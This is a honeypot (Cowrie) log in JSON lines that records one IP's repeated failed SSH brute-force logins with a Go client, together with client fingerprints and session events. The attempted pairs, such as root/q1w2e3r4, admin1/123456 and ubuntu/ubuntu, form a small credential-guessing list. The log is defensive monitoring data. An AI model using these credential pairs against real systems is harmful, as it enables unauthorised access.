{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:16.527843Z","src_ip":"141.11.88.14","session":"c5bbf50db0fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":9.089491605758667,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:16.763719Z","src_ip":"94.23.66.112","session":"2b31ee6e9b0f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ftptest","password":"ftptest123","message":"login attempt [ftptest/ftptest123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:18.159088Z","src_ip":"141.11.88.14","session":"c5bbf50db0fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:19.327846Z","src_ip":"141.11.88.14","session":"c5bbf50db0fa","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":14106,"dst_ip":"10.17.0.5","dst_port":22,"session":"b20ddc002ded","protocol":"ssh","message":"New connection: 141.11.88.14:14106 (10.17.0.5:22) [session: b20ddc002ded]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:23.003634Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:23.687138Z","src_ip":"141.11.88.14","session":"b20ddc002ded","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:23.690701Z","src_ip":"141.11.88.14","session":"b20ddc002ded","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"claude","password":"12345678","message":"login attempt [claude/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:25.379135Z","src_ip":"141.11.88.14","session":"b20ddc002ded","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.5","message":"Connection lost after 3.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:26.495286Z","src_ip":"141.11.88.14","session":"b20ddc002ded","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":58806,"dst_ip":"10.17.0.5","dst_port":22,"session":"4ab63615b743","protocol":"ssh","message":"New connection: 141.11.88.14:58806 (10.17.0.5:22) [session: 4ab63615b743]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:30.819084Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:30.910273Z","src_ip":"141.11.88.14","session":"4ab63615b743","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:30.913755Z","src_ip":"141.11.88.14","session":"4ab63615b743","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"intranet","password":"intranet","message":"login attempt [intranet/intranet] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:31.798226Z","src_ip":"141.11.88.14","session":"4ab63615b743","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:33.278401Z","src_ip":"141.11.88.14","session":"4ab63615b743","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":58850,"dst_ip":"10.17.0.5","dst_port":22,"session":"4c8b19e0a42a","protocol":"ssh","message":"New connection: 141.11.88.14:58850 (10.17.0.5:22) [session: 4c8b19e0a42a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:35.798641Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:35.954627Z","src_ip":"141.11.88.14","session":"4c8b19e0a42a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:35.957712Z","src_ip":"141.11.88.14","session":"4c8b19e0a42a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3r4","message":"login attempt [root/q1w2e3r4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:37.542166Z","src_ip":"141.11.88.14","session":"4c8b19e0a42a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.0","message":"Connection lost after 3.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:38.800545Z","src_ip":"141.11.88.14","session":"4c8b19e0a42a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":32922,"dst_ip":"10.17.0.5","dst_port":22,"session":"30975636d313","protocol":"ssh","message":"New connection: 141.11.88.14:32922 (10.17.0.5:22) [session: 30975636d313]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:42.018789Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:42.141253Z","src_ip":"141.11.88.14","session":"30975636d313","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:42.144309Z","src_ip":"141.11.88.14","session":"30975636d313","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"123456","message":"login attempt [admin1/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:42.776809Z","src_ip":"141.11.88.14","session":"30975636d313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:43.958988Z","src_ip":"141.11.88.14","session":"30975636d313","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.136234283447266,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:45.881308Z","src_ip":"172.81.62.90","session":"fe33dbc01402","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.05990529060364,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:48.276754Z","src_ip":"147.185.132.75","session":"f97ed7267d81","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":45084,"dst_ip":"10.17.0.5","dst_port":22,"session":"69bdddccb545","protocol":"ssh","message":"New connection: 141.11.88.14:45084 (10.17.0.5:22) [session: 69bdddccb545]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:49.004998Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:49.056745Z","src_ip":"141.11.88.14","session":"69bdddccb545","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:49.132909Z","src_ip":"141.11.88.14","session":"69bdddccb545","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bob","password":"12345","message":"login attempt [bob/12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:49.580268Z","src_ip":"141.11.88.14","session":"69bdddccb545","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:50.721171Z","src_ip":"141.11.88.14","session":"69bdddccb545","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":45110,"dst_ip":"10.17.0.5","dst_port":22,"session":"62edfc464a60","protocol":"ssh","message":"New connection: 141.11.88.14:45110 (10.17.0.5:22) [session: 62edfc464a60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:55.076318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:55.160470Z","src_ip":"141.11.88.14","session":"62edfc464a60","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:55.273129Z","src_ip":"141.11.88.14","session":"62edfc464a60","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"config","password":"config","message":"login attempt [config/config] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:56.224357Z","src_ip":"141.11.88.14","session":"62edfc464a60","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:18:57.433110Z","src_ip":"141.11.88.14","session":"62edfc464a60","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39672,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e87330c6fc7","protocol":"ssh","message":"New connection: 141.11.88.14:39672 (10.17.0.5:22) [session: 9e87330c6fc7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:01.109149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:01.214474Z","src_ip":"141.11.88.14","session":"9e87330c6fc7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:01.217930Z","src_ip":"141.11.88.14","session":"9e87330c6fc7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"ubuntu","message":"login attempt [ubuntu/ubuntu] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:02.911882Z","src_ip":"141.11.88.14","session":"9e87330c6fc7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:04.269955Z","src_ip":"141.11.88.14","session":"9e87330c6fc7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":39714,"dst_ip":"10.17.0.5","dst_port":22,"session":"c0644fb1c76c","protocol":"ssh","message":"New connection: 141.11.88.14:39714 (10.17.0.5:22) [session: c0644fb1c76c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:05.694199Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:19:06.115371Z","src_ip":"141.11.88.14","session":"c0644fb1c76c","protocol":"ssh"}
